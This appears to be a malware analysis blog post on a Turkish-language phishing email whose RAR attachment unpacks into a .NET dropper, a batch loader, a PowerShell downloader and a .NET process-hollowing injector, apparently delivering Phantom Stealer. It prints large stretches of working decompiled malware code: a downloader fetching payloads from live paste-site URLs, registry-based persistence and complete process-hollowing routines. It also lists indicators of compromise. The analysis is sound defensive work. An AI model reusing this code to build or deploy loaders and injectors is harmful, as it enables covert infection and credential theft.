FIYAT TEKLIFI
On April 13 2026, 10:37 UTC, I received an email with the following details:
| From | Subject | Sender address | Sender IP |
|---|---|---|---|
| Abm Ship Supply <abm@abmshipsupply.com> | FIYAT TEKLIFI | abm@abmshipsupply.com | 158.94.208.218 |
The subject is in Turkish and translates to “PRICE OFFER”.
The sender domain has not configured DMARC or DKIM and the SPF check failed, which indicates that the email was likely spoofed. The website belongs to “ABM Ship Supply”, a Turkish marine supply provider, and the sender address is listed in their contacts.
The email contains the following attachment:
| Name | Type | Magic | SHA256 |
|---|---|---|---|
| Abm 2026 H1 G�ncel Fiyat Listesi .r07 | RAR | RAR archive data, v5 | 0b05ceeae3be9bb1b83bb079e4a58421 |
Analysis
.NET Initial Dropper
Extracting the attached RAR archive yields the 32-bit .NET executable “Abm 2026 H1 Güncel Fiyat Listesi .exe” with the following metadata:
- File Description: Stub
- File Version: 1.0.0.0
- Internal Name: stub.exe
- Legal Copyright: Copyright © 2025
- Original File Name: stub.exe
- Product Name: Stub
- Product Version: 1.0.0.0
- Assembly Version: 1.0.0.0
I decompiled the executable with ILSpy
and identified the assembly name “GeneratedExe” and entry point Program.Main.
The entry point contains junk code which filters, transforms, and prints a hardcoded list of numbers. I’ve omitted this code as its only purpose is to obfuscate the malware’s functionality in an attempt to hinder static code analysis.
Alongside the junk code, it initializes an array of 13650 bytes which it writes to a “.bat” file in a temporary folder with a randomly-generated UUID as the filename. The file is executed through “cmd.exe” on a hidden window with all output captured and discarded. The program waits for the process execution to finish and deletes the file it created to hide its tracks.
byte[] bytes = new byte[13650] {
// ...
};
// junk code
string text = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString() + ".bat");
try {
File.WriteAllBytes(text, bytes);
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = "cmd.exe";
processStartInfo.Arguments = "/C \"" + text + "\"";
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.CreateNoWindow = true;
processStartInfo.UseShellExecute = false;
processStartInfo.RedirectStandardOutput = true;
processStartInfo.RedirectStandardError = true;
ProcessStartInfo startInfo = processStartInfo;
// junk code
using (Process process = Process.Start(startInfo)) {
string text2 = process.StandardOutput.ReadToEnd();
string text3 = process.StandardError.ReadToEnd();
process.WaitForExit();
}
// junk code
}
finally {
try {
File.Delete(text);
} catch { }
}
// junk code
Batch File Loader
Since the byte array is not obfuscated in any way, it can be decoded with a single operation.
From_Decimal('Comma',false)
The batch file starts with a “fake complex header”. The code fakes a system checker utility and pings the loopback address a few times while printing messages with random numbers. Like the junk code of the first stage, this code is purely a distraction. In fact, it is skipped entirely and never executes.
@echo off
:: ===============================
:: FAKE COMPLEX HEADER - DO NOT RUN
:: ===============================
goto :fakeComplexCodeEnd
:fakeComplexCode
title Ultimate System Checker 9000
:: omitted
:endFakeComplexCode
:fakeComplexCodeEnd
:: ===============================
:: END OF FAKE COMPLEX HEADER
:: =
After the header, begins a series of GOTO statements and labels. Most of the labels contain
a single SET statement each of which defines a variable containing a portion of a command.
GOTO ODIONSOGIF
:: ...
:ODIONSOGIF
SET NDJDNONFNH=%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe -Command "S
GOTO DIUJIOGNDS
:: ...
:IGJSIDHDDD0
The execution of the command which is pieced together using these variables can be identified with a little Python code. The code reads the file and looks for a line which follows a label, does not start with “SET”, and is not blank.
from pathlib import Path
import re
text = Path("URT.bat").read_text()
execution = re.search(r"^:[A-Z0-9]+\n(?!SET|\s*$)(.+)$", text, re.M)[1]
After identifying this line, the variables in it can be expanded by looking for the SET statements,
mapping the variable names to their values, and substituting them accordingly.
variables = dict(re.findall(r"^SET (\w+)=(.*)$", text, re.M))
command = re.sub(r"%(\w+)%", lambda m: variables[m[1]], execution)
The resulting command calls PowerShell and does two things:
- It launches a new hidden PowerShell process to execute a base64-encoded command.
- It copies the calling script file to “C:\ProgramData\URT.bat”, ignoring errors.
%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$ddsdfgo = ''...'';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, ''f#'', ''r'')));iex $oWfdfjfdsuxd\"'"; Copy-Item -Path '%~f0' -Destination 'C:\ProgramData\URT.bat' -Force -ErrorAction SilentlyContinue"
PowerShell Downloader
The base64-encoded PowerShell command is obfuscated by replacing “r” with “f#” and stored in the “$ddsdfgo” variable and can be deobfuscated and decoded with a little more Python.
from base64 import b64decode
encoded = re.search(r"\$ddsdfgo = ''([A-Za-z0-9+/=#]+)''", command)[1]
result = b64decode(encoded.replace("f#", "r")).decode("utf-16le")
The PowerShell code begins with a 3 second sleep, likely waiting for the batch file to be copied.
Then, it defines the DownloadDataFromLinks which iterates over an array of links in random order
and returns the first result that was downloaded successfully. The array contains the following links:
- https://hasteb.in/ii5PfCz83aTcDgK
- https://pastefy.app/eKkAgMVM/raw
Start-Sleep -Seconds 3
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
function DownloadDataFromLinks { param ([string[]]$links)
$webClient = New-Object System.Net.WebClient;
$shuffledLinks = Get-Random -InputObject $links -Count $links.Length;
foreach ($link in $shuffledLinks) {
try { return $webClient.DownloadData($link) } catch { continue }
};
return $null
};
$Bytes = 'http';
$Bytes2 = 's://';
$lfsdfsdg = $Bytes +$Bytes2;
$links = @(($lfsdfsdg + 'hasteb.in/ii5PfCz83aTcDgK'),($lfsdfsdg + 'pastefy.app/eKkAgMVM/raw'));
$imageBytes = DownloadDataFromLinks $links;
If the download was successful, the script searches for “<<START>>” and “<<END>>”
markers within the data, a technique commonly seen in malware using steganography for obfuscation.
Though no actual steganography is involved in this case, as the downloaded file contains only
base64-encoded data surrounded by the aforementioned markers. The content between the markers
is base64-decoded and loaded into memory as a .NET assembly. Then, the type “myprogram.Homees”
is loaded from the assembly, in between two Get-Process calls (more junk code).
Finally, the “runss” method of the type is invoked using the following parameters:
- “txt.daordop/pw4a9a/piv.lenapym//:s”
- “1”
- “URT”
- “RegAsm”
- “0”
- “x86”
if ($imageBytes -ne $null) {
$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);
$startFlag = '<<START>>';
$endFlag = '<<END>>';
$startIndex = $imageText.IndexOf($startFlag);
$endIndex = $imageText.IndexOf($endFlag);
if ($startIndex -ge 0 -and $endIndex -gt $startIndex) {
$startIndex += $startFlag.Length;
$base64Lengthh = $endIndex - $startIndex;
$base64Command = $imageText.Substring($startIndex, $base64Lengthh);
$endIndex = $imageText.IndexOf($endFlag);
$commandBytes = [System.Convert]::FromBase64String($base64Command);
$endIndex = $imageText.IndexOf($endFlag);
$endIndex = $imageText.IndexOf($endFlag);
$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);
Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 | Format-Table Name,CPU
$type = $loadedAssembly.GetType('myprogram.Homees');
Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 | Format-Table Name,CPU
$injec = 'Reg' + 'Asm';
$gg = 'txt.daordop/pw4a9a/piv.lenapym//:sgsffsf' ; $gg = $gg.Substring(0, $gg.Length - 6)
$method = $type.GetMethod('runs' + 's').Invoke($null, [object[]] ($gg ,'1', 'URT', $injec, '0' , 'x86'))
}
}
.NET Process Injector
The base64-encoded data between the markers can be decoded with the following recipe:
Regular_expression('User defined','<<START>>([A-Za-z0-9+/=]+)<<END>>',false,false,false,false,false,false,'List capture groups')
From_Base64('A-Za-z0-9+/=',false,false)
The result is a 64-bit .NET executable with the following metadata:
- Comments: progrfam
- Company Name: profgram
- File Description: Myrpfgoram
- File Version: 2.0.0.12
- Internal Name: myprogram.exe
- Legal Copyright: Copyright © 2027
- Original File Name: myprogram.exe
- Product Name: program
- Product Version: 2.0.0.12
- Assembly Version: 2.0.4.12
According to Detect-It-Easy, the assembly is obfuscated by “Smart Assembly” so I used de4dotEx to deobfuscate it before decompiling it with ILSpy. The assembly name is “myprogram” and the entry point is “myprogram.sha.Main”.
The entry point initialises a Windows form with a text box and four buttons. It doesn’t load any malicious code and is meant to appear legitimate to anyone who runs the executable.
private static void Main() {
Environment.GetFolderPath(Environment.SpecialFolder.Startup);
Application.SetCompatibleTextRenderingDefault(defaultValue: false);
Application.Run(new Form1());
Application.EnableVisualStyles();
}
The actual entry point of the malware is “myprogram.Homees.runss”, which is the
function loaded in memory by the PowerShell script. It is annotated with the
attribute DebuggerNonUserCode which instructs the debugger not to display this
function in the debugger window and to step through its code automatically.
The following parameters are passed to the function by the PowerShell script:
| Name | Value |
|---|---|
adress | “txt.daordop/pw4a9a/piv.lenapym//:s” |
enablestartup | “1” |
startupname | “URT” |
injection | “RegAsm” |
persistence | “0” |
architecture | “x86” |
[DebuggerNonUserCode]
public static void runss(string adress, string enablestartup, string startupname, string injection, string persistence = "0", string architecture = "x86")
Persistence
Startup persistence is established by writing a RunOnce registry value to HKEY_CURRENT_USER,
falling back to Run if it fails. The folder path is set to the “Startup” folder by default,
though it is subsequently set to the “CommonApplicationData” (“ProgramData”) folder in all cases.
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
The registry key is set to a random name through the RandomString
helper function which uses the alphabet “abcdefghijklmnoFAS”.
public static Random random = new Random();
private static string RandomString(int length) {
return new string((from s in Enumerable.Repeat("abcdefghijklmnoFAS", length)
select s[random.Next(s.Length)]).ToArray());
}
The enablestartup parameter controls the value of the registry key. In this case, it is defined
as “1” which sets the value to a “.bat” with the given startupname (currently defined as “URT”).
if (enablestartup == "1") {
folderPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
try {
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", writable: true).SetValue(value: Path.Combine(folderPath, startupname + ".bat"), name: RandomString(10));
} catch {
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true).SetValue(value: Path.Combine(folderPath, startupname + ".bat"), name: RandomString(10));
}
}
When the value of the parameter is “2”, the run key launches a “.vbs” script via “wscript.exe”. Unless the process is running from “System32” or “SysWOW64”, it also kills the process injection candidates “RegAsm.exe”, “Vbc.exe”, and “MsBuild.exe”, sleeps two seconds, and self-replicates by copying the most recently created “.vbs” file into the folder path.
if (enablestartup == "2") {
folderPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
try {
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", writable: true).SetValue(value: "wscript.exe \"" + Path.Combine(folderPath, startupname + ".vbs") + "\"", name: RandomString(10));
} catch {
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true).SetValue(value: "wscript.exe \"" + Path.Combine(folderPath, startupname + ".vbs") + "\"", name: RandomString(10));
}
string currentDirectory = Environment.CurrentDirectory;
if (!currentDirectory.StartsWith("C:\\Windows\\System32", StringComparison.OrdinalIgnoreCase) && !currentDirectory.StartsWith("C:\\Windows\\SysWOW64", StringComparison.OrdinalIgnoreCase)) {
RunPS("Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait");
Thread.Sleep(2000);
RunPS("-WindowStyle Hidden if ((Get-Location).Path -ne '" + folderPath + "') { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination '" + Path.Combine(folderPath, startupname + ".vbs") + "' -Force }");
}
}
PowerShell is spawned through the RunPS helper function which is also annotated with the
DebuggerNonUserCode attribute. It launches a hidden PowerShell window and suppresses errors.
[DebuggerNonUserCode]
public static void RunPS(string args)
{
try {
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = "powershell.exe";
processStartInfo.Arguments = args;
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
Process process = new Process();
process.StartInfo = processStartInfo;
process.Start();
} catch { }
}
When the value of the parameter is “3”, the run key launches a “.js” script via “wscript.exe“. It also unconditionally kills the process injection candidates “RegAsm.exe”, “Vbc.exe”, and “MsBuild.exe” and sleeps for two seconds.
if (enablestartup == "3") {
folderPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData);
try {
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", writable: true).SetValue(value: "wscript.exe \"" + Path.Combine(folderPath, startupname + ".js") + "\"", name: RandomString(10));
} catch {
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", writable: true).SetValue(value: "wscript.exe \"" + Path.Combine(folderPath, startupname + ".js") + "\"", name: RandomString(10));
}
RunPS("Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait");
Thread.Sleep(2000);
}
Finally, if persistence is defined as “1” and enablestartup is not “0”, the function writes
a batch file named “wrfdse.bat” to the temporary folder and executes it. The script loops up to
1000 times, sleeping for a minute between iterations, and restarts the “.vbs” startup script if
the injected process is not currently running. Note that this script won’t work when enablestartup
is defined as “1” or “3”, despite passing the condition, since it expects a “.vbs” file.
if (persistence == "1" && enablestartup != "0") {
string text2 = Path.GetTempPath() + "wrfdse.bat";
using (StreamWriter streamWriter = new StreamWriter(text2)) {
streamWriter.WriteLine("set count=0");
streamWriter.WriteLine(":loop");
streamWriter.WriteLine("set /a count=%count%+1");
streamWriter.WriteLine("timeout 60 ");
streamWriter.WriteLine("tasklist /fi \"ImageName eq " + injection + ".exe\" /fo csv 2>NUL | find /I \"" + injection + ".exe\">NUL");
streamWriter.WriteLine("if \"%ERRORLEVEL%\"==\"1\" cscript \"" + Path.Combine(folderPath, startupname) + ".vbs\"");
streamWriter.WriteLine("if %count% neq 1000 goto loop");
}
Process process = new Process();
process.StartInfo.FileName = text2;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.StartInfo.ErrorDialog = true;
process.Start();
}
Process Injection
After setting up the startup run key and before the injection persistence script, the “runss”
function downloads a payload from the URL defined by adress. The parameter value is appended
with “ptth” and reversed, resulting here into the URL “https://mypanel.vip/a9a4wp/podroad.txt”.
The text is reversed and base64-decoded, after replacing any instances of “DTre” and “DgTre”
with “/d” and “+” respectively. The resulting payload is passed to the MemoryMapper.Map32
function if the architecture parameter is defined as “x86”, or to MemoryMapper.Map64 otherwise.
WebClient webClient = new WebClient();
webClient.Encoding = Encoding.UTF8;
adress += "ptth";
adress = string.Concat(adress.Reverse());
string text = string.Concat(webClient.DownloadString(adress).Reverse());
byte[] payload = (text.Contains("DTre") ? Convert.FromBase64String(text.Replace("DTre", "/d")) : (text.Contains("DgTre") ? Convert.FromBase64String(text.Replace("DgTre", "+")) : Convert.FromBase64String(text.Replace("DgTre", "+"))));
if (!(architecture == "x86")) {
MemoryMapper.Map64(payload, injection, "");
} else {
MemoryMapper.Map32(payload, injection, "0");
}
The MemoryMapper class declares native Windows API structures alongside delegates
for native functions often used in process injection and in particular process hollowing.
STARTUP_64(64-bitSTARTUPINFOA)PROCESS_64(64-bitPROCESS_INFORMATION)STARTUP_32(32-bitSTARTUPINFOA)PROCESS_32(32-bitPROCESS_INFORMATION)
private delegate bool _CreateProcessA(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUP_64 lpStartupInfo, out PROCESS_64 lpProcessInformation);
private delegate IntPtr _VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
private delegate bool _WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);
private delegate bool _VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
private delegate bool _ZwUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
private delegate bool _GetThreadContext(IntPtr hThread, IntPtr lpContext);
private delegate bool _SetThreadContext(IntPtr hThread, IntPtr lpContext);
private delegate uint _ResumeThread(IntPtr hThread);
private delegate bool _CloseHandle(IntPtr hObject);
private delegate bool _CreateProcessA32(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUP_32 lpStartupInfo, ref PROCESS_32 lpProcessInformation);
private delegate int _VirtualAllocEx32(IntPtr hProcess, int lpAddress, int dwSize, int flAllocationType, int flProtect);
private delegate bool _WriteProcessMemory32(IntPtr hProcess, int lpBaseAddress, byte[] lpBuffer, int nSize, ref int lpNumberOfBytesWritten);
private delegate bool _ReadProcessMemory32(IntPtr hProcess, int lpBaseAddress, ref int lpBuffer, int nSize, ref int lpNumberOfBytesRead);
private delegate int _ZwUnmapViewOfSection32(IntPtr hProcess, int lpBaseAddress);
private delegate bool _GetThreadContext32(IntPtr hThread, int[] lpContext);
private delegate bool _Wow64GetThreadContext32(IntPtr hThread, int[] lpContext);
private delegate bool _SetThreadContext32(IntPtr hThread, int[] lpContext);
private delegate bool _Wow64SetThreadContext32(IntPtr hThread, int[] lpContext);
private delegate int _ResumeThread32(IntPtr hThread);
Next, it defines an array containing two hex-encoded library names which are decoded
using the HexDecode helper function and correspond to “kernel32” and “ntdll”.
private static readonly string[] _libNames = new string[2] {
HexDecode("6b65726e656c3332"),
HexDecode("6e74646c6c")
};
private static string HexDecode(string hex) {
byte[] array = new byte[hex.Length / 2];
for (int i = 0; i < array.Length; i++) {
array[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
}
return Encoding.UTF8.GetString(array);
}
Then, it imports the LoadLibraryA and GetProcAddress functions from “kernel32”.
These are used by the generic GetProc function to retrieve the pointers of
delegated functions and load them using the Marshal.GetDelegateForFunctionPointer
method of the .NET framework.
[DllImport("kernel32", SetLastError = true)]
private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
[DllImport("kernel32", SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, [MarshalAs(UnmanagedType.LPStr)] string lpProcName);
private static T GetProc<T>(string library, string function) where T : notnull, Delegate {
IntPtr intPtr = LoadLibraryA(library);
if (!(intPtr == IntPtr.Zero)) {
IntPtr procAddress = GetProcAddress(intPtr, function);
if (procAddress == IntPtr.Zero) {
throw new Win32Exception();
}
return Marshal.GetDelegateForFunctionPointer<T>(procAddress);
}
throw new Win32Exception();
}
For brevity, I will only analyse the Map32 function and skip the similar Map64 function.
The Map32 function implements the 32-bit process hollowing logic. It attempts the injection
up to a certain number of times (55 by default), sleeping for 50 milliseconds on each failure.
public static void Map32(byte[] payload, string host, string args = null, int maxTries = 55) {
for (int i = 0; i < maxTries; i++) {
try {
// see below
} catch {
if (i == maxTries - 1) {
throw;
}
Thread.Sleep(50);
}
}
}
It loads the native Windows API functions needed for 32-bit process hollowing from their
delegates, builds the target application path from the given host parameter, corresponding
to a .NET framework host binary in “C:\Windows\Microsoft.NET\Framework\v4.0.30319”,
and initialises the STARTUPINFOA AND PROCESS_INFORMATION structures.
_CreateProcessA32 proc = GetProc<_CreateProcessA32>(_libNames[0], "CreateProcessA");
_VirtualAllocEx32 proc2 = GetProc<_VirtualAllocEx32>(_libNames[0], "VirtualAllocEx");
_WriteProcessMemory32 proc3 = GetProc<_WriteProcessMemory32>(_libNames[0], "WriteProcessMemory");
_ReadProcessMemory32 proc4 = GetProc<_ReadProcessMemory32>(_libNames[0], "ReadProcessMemory");
_ZwUnmapViewOfSection32 proc5 = GetProc<_ZwUnmapViewOfSection32>(_libNames[1], "ZwUnmapViewOfSection");
_GetThreadContext32 proc6 = GetProc<_GetThreadContext32>(_libNames[0], "GetThreadContext");
_Wow64GetThreadContext32 proc7 = GetProc<_Wow64GetThreadContext32>(_libNames[0], "Wow64GetThreadContext");
_SetThreadContext32 proc8 = GetProc<_SetThreadContext32>(_libNames[0], "SetThreadContext");
_Wow64SetThreadContext32 proc9 = GetProc<_Wow64SetThreadContext32>(_libNames[0], "Wow64SetThreadContext");
_ResumeThread32 proc10 = GetProc<_ResumeThread32>(_libNames[0], "ResumeThread");
string lpApplicationName = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" + host + ".exe";
STARTUP_32 lpStartupInfo = new STARTUP_32 {
cb = (uint)Marshal.SizeOf<STARTUP_32>()
};
PROCESS_32 lpProcessInformation = default(PROCESS_32);
Then, it creates the target host process using CreateProcessA, throwing an error
if the process creation failed. If the process was created successfully but the
process hollowing part failed, the process is killed via “taskkill”. The process
is created with the flag 2147483652u, i.e. 0x00000004 | 0x80000000. The value
0x00000004 corresponds to CREATE_SUSPENDED but 0x80000000 does not correspond to
any flag or combination of flags, so only CREATE_SUSPENDED is applied. The unknown
value is most likely a typo for 0x08000000 which corresponds to CREATE_NO_WINDOW1.
CREATE_SUSPENDED: The main thread of the process is created in a suspended state.CREATE_NO_WINDOW: The process is a console application that runs without a window.
if (proc(lpApplicationName, string.Empty, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 2147483652u, IntPtr.Zero, null, ref lpStartupInfo, ref lpProcessInformation)) {
try {
// see below
} catch {
try {
Process.Start(new ProcessStartInfo {
FileName = "taskkill",
Arguments = $"/PID {lpProcessInformation.dwProcessId} /F",
CreateNoWindow = true,
UseShellExecute = false
})?.WaitForExit();
} catch { }
throw;
}
}
throw new Exception("CreateProcess failed");
Next, it extracts an integer from the payload at offset 60 (e_lfanew)2, which points
to the start of the PE header in the PE file format and reads another integer from
the PE header at offset 80, which corresponds to SizeOfImage3, the total
size the image occupies in memory once loaded. Note that normally the offset used
here would be 52 which corresponds to ImageBase, the preferred base address of
the image when loaded in memory. It then initializes an integer array of size 179
(716 bytes), matching the size of an x86 CONTEXT4 or WOW64_CONTEXT5 structure.
The first element is set to 65563 which, in an x86 thread context, corresponds to
CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS6,
retrieving control registers, integer registers, floating-point state, and debug registers.
The thread context is stored in the array using Wow64GetThreadContext when running on a
64-bit system, or GetThreadContext on a 32-bit system (where the integer size is 4 bytes).
int num = BitConverter.ToInt32(payload, 60);
int num2 = BitConverter.ToInt32(payload, num + 80);
int[] array = new int[179];
array[0] = 65563;
if (!((IntPtr.Size != 4) ? proc7(lpProcessInformation.hThread, array) : proc6(lpProcessInformation.hThread, array))) {
throw new Exception("GetThreadContext failed");
}
Then, it retrieves the element at index 41 from the array, which corresponds to
the Ebx field of the context structure when it is marshalled into an integer
array. The EBX register points to the Process Environment Block (PEB) structure.
The ReadProcessMemory function is used to extract an integer at offset 8
(ImageBaseAddress7) of the PEB from the memory of the suspended process.
Next, if this address matches the SizeOfImage that was retrieved earlier,
it calls the ZwUnmapViewOfSection function unmap the original image.
Note that this check should be using ImageBase rather than SizeOfImage
and may leave the original image still mapped in memory.
int num3 = array[41];
int lpBuffer = 0;
int lpNumberOfBytesRead = 0;
if (!proc4(lpProcessInformation.hProcess, num3 + 8, ref lpBuffer, 4, ref lpNumberOfBytesRead)) {
throw new Exception("ReadProcessMemory failed");
}
if (num2 == lpBuffer && proc5(lpProcessInformation.hProcess, lpBuffer) != 0) {
throw new Exception("ZwUnmapViewOfSection failed");
}
Next, it extracts the integer SizeOfHeaders from offset 84 of the optional
header, the total size of all file headers rounded up to account for file alignment.
It uses the VirtualAllocEx function to allocate memory of size SizeOfImage
in the target process at the address of SizeOfImage (which normally would
have been ImageBase), with allocation flag 12288 which corresponds to
MEM_COMMIT | MEM_RESERVE8, thus committing and reserving memory pages in one step,
and protection flag 64 which corresponds to PAGE_EXECUTE_READWRITE9 and enables
read, write, and execute permissions in the memory region. Also, it uses the
WriteProcessMemory function to write bytes of size SizeOfHeaders
(i.e., the PE headers) from the payload into the allocated memory region.
int nSize = BitConverter.ToInt32(payload, num + 84);
int num4 = proc2(lpProcessInformation.hProcess, num2, num2, 12288, 64);
if (num4 == 0) {
throw new Exception("VirtualAllocEx failed");
}
int lpNumberOfBytesWritten = 0;
if (!proc3(lpProcessInformation.hProcess, num4, payload, nSize, ref lpNumberOfBytesWritten)) {
throw new Exception("WriteProcessMemory (headers) failed");
}
Then, it locates the first section header at offset 248 of the PE header
and reads the total number of sections from offset 6 of the PE header.
It loops over each section of 40 bytes, reading the following section fields10:
VirtualAddress(offset12): The memory address of the first byte relative to the image base.SizeOfRawData(offset16): The total size of the raw data in bytes.PointerToRawData(offset20): The byte offset to the start of the raw data.
If the section is not empty, its data is copied from the payload and written into
the allocated memory of the target process at its corresponding virtual address
using the WriteProcessMemory function. After the section loop ends, the
WriteProcessMemory function is called once more to overwrite the PEB of the
target process so its ImageBaseAddress reflects the new image address.
int num5 = num + 248;
short num6 = BitConverter.ToInt16(payload, num + 6);
for (int j = 0; j < num6; j++) {
int num7 = num5 + j * 40;
int num8 = BitConverter.ToInt32(payload, num7 + 12);
int num9 = BitConverter.ToInt32(payload, num7 + 16);
int sourceIndex = BitConverter.ToInt32(payload, num7 + 20);
if (num9 > 0) {
byte[] array2 = new byte[num9];
Array.Copy(payload, sourceIndex, array2, 0, num9);
if (!proc3(lpProcessInformation.hProcess, num4 + num8, array2, num9, ref lpNumberOfBytesWritten)) {
throw new Exception($"WriteProcessMemory (section {j}) failed");
}
}
}
if (!proc3(lpBuffer: BitConverter.GetBytes(num4), hProcess: lpProcessInformation.hProcess, lpBaseAddress: num3 + 8, nSize: 4, lpNumberOfBytesWritten: ref lpNumberOfBytesWritten)) {
throw new Exception("WriteProcessMemory (PEB) failed");
}
Next, it sets the element at index 44 of the array, which corresponds to the
Eax field (Extended Accumulator register) of the marshalled context structure,
to the address of the entry point (AddressOfEntryPoint at offset 40 of the
PE header) within the memory region allocated earlier by VirtualAllocEx.
Depending on the target system, it calls Wow64SetThreadContext or SetThreadContext
to commit the updated context to the suspended thread. Finally, it calls ResumeThread
to wake the suspended thread, which will now begin execution at the injected payload’s
entry point. If the call succeeds it exits the loop, otherwise it throws an exception.
array[44] = num4 + BitConverter.ToInt32(payload, num + 40);
if (!((IntPtr.Size != 4) ? proc9(lpProcessInformation.hThread, array) : proc8(lpProcessInformation.hThread, array))) {
throw new Exception("SetThreadContext failed");
}
if (proc10(lpProcessInformation.hThread) != -1) {
break;
}
throw new Exception("ResumeThread failed");
Unidentified Final Stage
Unfortunately, I cannot analyse the final stage since the file was taken down shortly after I received the email, as indicated by the takedown times of two similar URLs reported on URLhaus. Both URLs are tagged as “Phantom Stealer” so in all likelihood the sample I received is also of the same family.
Indicators of Compromise
| Type | Value | Links | Comment |
|---|---|---|---|
| abm@abmshipsupply.com | N/A | Sender address | |
| Domain | abmshipsupply.com | MXToolBox VirusTotal | Sender domain |
| IP | 158.94.208.218 | AbuseIPDB | Sender IP |
| Hash | 0b05ceeae3be9bb1b83bb079e4a58421 | VirusTotal ANY.RUN | Abm 2026 H1 G�ncel Fiyat Listesi .r07 |
| Hash | cd7219d7aa99db6647c5519d24e8cdd3 | VirusTotal | Abm 2026 H1 Güncel Fiyat Listesi .exe |
| Hash | 42753d1bc479c0f14d8f98ca77a5b15a | VirusTotal | URT.bat |
| Hash | 73ffb8eaeeeefa545096ae9d2080afb4 | VirusTotal | PowerShell Downloader |
| Hash | 99446a0be47d814a344b5c88c5559d59 | VirusTotal Triage | myprogram.exe |
| URL | https://hasteb.in/ii5PfCz83aTcDgK | VirusTotal | Stage 4 Download |
| URL | https://pastefy.app/eKkAgMVM/raw | VirusTotal | Stage 4 Download |
| URL | https://mypanel.vip/a9a4wp/podroad.txt | VirusTotal | Stage 5 Download |
MITRE ATT&CK® Techniques
-
Process Creation Flags (WinBase.h) - Win32 apps | Microsoft Learn ↩
-
IMAGE_OPTIONAL_HEADER32 (winnt.h) - Win32 apps | Microsoft Learn ↩
-
VirtualAllocEx function (memoryapi.h) - Win32 apps | Microsoft Learn ↩
-
Memory Protection Constants (WinNT.h) - Win32 apps | Microsoft Learn ↩
-
IMAGE_SECTION_HEADER (winnt.h) - Win32 apps | Microsoft Learn ↩